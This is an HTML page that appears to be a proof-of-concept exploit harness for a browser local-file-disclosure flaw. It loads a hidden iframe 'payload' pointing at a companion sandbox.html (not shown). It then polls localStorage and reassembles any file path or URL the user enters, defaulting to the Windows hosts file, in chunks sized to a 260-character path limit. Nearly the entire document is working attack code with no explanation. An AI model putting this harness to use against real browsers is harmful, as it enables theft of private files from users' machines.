<html>
	<head>
		<style>progress {border-radius:50 px; width: 600px;height: 14px;-webkit-appearance: none}
		progress::-webkit-progress-bar {background: black;border-radius: 50px;padding: 2px;}
		progress::-webkit-progress-value {border-radius: 50px;}</style>
	</head>
	<body style="background: #322c35;">
		<p id="payload"></p>
		File Path or URL: <input id="filepath" type="text" name="filepath" size="40" value="C:\Windows\System32\Drivers\etc\hosts">
		<button onclick="go()" style="width:50">GO</button>
		<br><br><progress id="progressbar" max="100" value="0"></progress><br><br>
		<textarea id="result" style="margin: 2px; height: 450px; width: 600px;"></textarea>
		<script>
			function go(){
				path = document.getElementById("filepath").value.replace(/\\/g, "\\\\");
				getFile(path, function (a) {
					console.log(a)
				});
			}
			function getFile(path, finalcallback) {
				var base = unescape(location.pathname).substr(0, unescape(location.pathname).length - 'test.html'.length);
				var freespace = 260 - (base.length + 'wingman.html'.length);
				var maxchar = Math.floor(freespace / 8);
				var total = "";
				var walk,length,ETruns;
				var times = 0;
				var pb = document.getElementById('progressbar');
				var rt = document.getElementById('result');

				function getFileContentAt(path, begin, end, mode, callback) {

					function writePayloadFrame(target) {
						document.getElementById("payload").innerHTML = '<iframe style="visibility:hidden" src="sandbox.html?target=' + target + '&begin=' + begin + '&end=' + end + '&mode=' + mode + '"><\/iframe>';
					}

					function startMon(target) {
						localStorage.file = '';
						var oldvar = localStorage.file;
						var myMonitor = setInterval(monitor, 100);

						function monitor() {
							if (oldvar !== localStorage.file) {
								clearInterval(myMonitor);
								callback(target, localStorage.file);
							}
						}
					}
					startMon(path);
					writePayloadFrame(path);
				}

				function getFileLength(path) {
					function prepareWalk() {
						if (length < maxchar) {
							ETruns = 1;
						} else {
							ETruns = Math.floor(length / maxchar);
							if (length % maxchar > 0) {
								ETruns++;
							}
						}
						walkFile(path);
					}
					getFileContentAt(path, 0, 0, 2, function (a, b) {
						length = b;
						prepareWalk()
					});
				}

				function walkFile(path) {
					if (times < ETruns) {
						console.log('Progress:' + Math.floor(times / ETruns * 100) + '%  | ' + times + ' from ' + ETruns);
						pb.setAttribute("value", Math.floor(times / ETruns * 100));
						getFileContentAt(path, (times * maxchar), (times * maxchar) + maxchar, 0, function (a, b) {
							total += b;
							rt.innerHTML=total;
							times++;
							walkFile(a);
						});
					} else {
						done()
					}
				}

				function done() {
					pb.setAttribute("value", "100");
					rt.innerHTML=total;
					finalcallback(total);
				}
				getFileLength(path);
			}
		</script>
	</body>
</html>